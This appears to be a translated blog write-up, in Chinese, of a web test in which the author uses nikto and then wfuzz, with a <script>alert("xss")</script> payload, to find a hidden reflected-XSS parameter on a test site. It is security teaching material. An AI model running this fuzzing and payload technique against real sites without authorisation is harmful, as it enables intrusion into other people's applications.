隐藏XSS
2018年2月3日
在一次Web测试中,我很难找到任何跨站脚本攻击的实例,这非常不寻常。
然而,使用nikto扫描网站后,出现了一些有趣的结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
$ nikto -h rob-sec-1.com
- ***** RFIURL is not defined in nikto.conf--no RFI tests will run *****
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 193.70.91.5
+ Target Hostname: rob-sec-1.com
+ Target Port: 80
+ Start Time: 2018-02-03 15:37:18 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache
+ The anti-clickjacking X-Frame-Options header is not present.
+ Cookie v created without the httponly flag
+ Root page / redirects to: /?node_id=V0lMTCB5b3UgYmUgcmlja3JvbGxlZD8%3D
+ Server leaks inodes via ETags, header found with file /css, inode: 0x109c8, size: 0x56, mtime: 0x543795d00f180;56450719f9b80
+ Uncommon header 'tcn' found, with contents: choice
+ OSVDB-3092: /css: This might be interesting...
+ OSVDB-3092: /test/: This might be interesting...
+ 4197 items checked: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2018-02-03 15:40:15 (GMT0) (177 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
|
特别是这一行:
1
|
+ OSVDB-3092: /test/: This might be interesting...
|
于是我导航到/test/,在页面顶部看到了这样的内容:
页面包含常规内容,但顶部似乎有一些奇怪的文本,由于显示为NULL,这让我觉得是开发人员在生产环境中留下的调试输出。
为了确定这个调试输出是否由任何查询字符串参数填充,我们可以使用wfuzz。
首先需要确定正常请求时页面返回的字节数:
1
2
3
4
|
$curl 'http://rob-sec-1.com/test/?' 1>/dev/null
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 53 100 53 0 0 53 0 0:00:01 --:--:-- 0:00:01 289
|
这里可以看到是53字节。然后我们可以配置wfuzz尝试不同的参数名,并查找响应大小不是53字符的情况。这里我们使用dirb的common.txt列表作为起点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$ wfuzz -w /usr/share/wordlists/dirb/common.txt --hh 53 'http://rob-sec-1.com/test/?FUZZ=<script>alert("xss")</script>'
********************************************************
* Wfuzz 2.2.3 - The Web Fuzzer *
********************************************************
Target: HTTP://rob-sec-1.com/test/?FUZZ=<script>alert("xss")</script>
Total requests: 4614
==================================================================
ID Response Lines Word Chars Payload
==================================================================
02127: C=200 9 L 8 W 84 Ch "item"
Total time: 14.93025
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 309.0369
|
看,我们找到了参数!
将/test/?item=复制到Firefox中,我们得到了弹窗警告。